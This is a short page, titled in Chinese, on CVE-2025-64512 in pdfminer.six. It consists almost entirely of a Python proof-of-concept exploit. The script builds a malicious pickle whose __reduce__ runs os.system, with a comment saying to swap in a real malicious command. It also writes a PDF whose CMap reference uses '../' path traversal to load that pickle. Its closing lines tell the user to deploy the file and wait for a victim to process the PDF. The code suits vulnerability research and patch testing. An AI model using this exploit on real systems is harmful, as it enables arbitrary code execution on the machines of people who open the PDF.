CVE-2025-64512 pdfminer.six Pickle反序列化远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-64512 PoC - Malicious PDF generation for pdfminer.six RCE Note: This is for educational and security research purposes only. """ import pickle import gzip import os class MaliciousPayload: """Malicious class that executes arbitrary code on unpickling""" def __reduce__(self): # Replace with actual malicious command cmd = "touch /tmp/pwned_by_cve_2025_64512" return (os.system, (cmd,)) def create_malicious_pickle_gz(): """Generate malicious pickle.gz file""" payload = MaliciousPayload() pickled_data = pickle.dumps(payload) with gzip.open('malicious_cmap.pickle.gz', 'wb') as f: f.write(pickled_data) print("[+] Created malicious_cmap.pickle.gz") def create_malicious_pdf(): """Generate malicious PDF that triggers the vulnerability""" # PDF header pdf_content = b"%PDF-1.4\n" # Malicious CMap reference pointing to external pickle.gz # The attacker controls the path, bypassing cmap/ directory restriction malicious_cmap_path = "../../../../tmp/malicious_cmap.pickle.gz" # Object with ToUnicode CMap reference obj_num = 1 pdf_content += f"{obj_num} 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /TestFont /ToUnicode {obj_num + 1} 0 R >>\nendobj\n".encode() obj_num += 1 pdf_content += f"{obj_num} 0 obj\n<< /Type /ObjStm /N 1 /First 0 /Length 50 >>\nstream\n".encode() pdf_content += f"/CMap {malicious_cmap_path} def\n".encode() pdf_content += b"\nendstream\nendobj\n" # Cross-reference table xref_offset = len(pdf_content) pdf_content += f"xref\n0 2\n0000000000 65535 f \n00000000{obj_num} 00000 n \n".encode() # Trailer pdf_content += f"trailer\n<< /Size 2 /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n".encode() with open('malicious.pdf', 'wb') as f: f.write(pdf_content) print("[+] Created malicious.pdf") if __name__ == "__main__": print("[*] Generating CVE-2025-64512 PoC files...") create_malicious_pickle_gz() create_malicious_pdf() print("[+] PoC files generated. Deploy malicious_cmap.pickle.gz to target location.") print("[+] When victim processes malicious.pdf with vulnerable pdfminer.six, code executes.")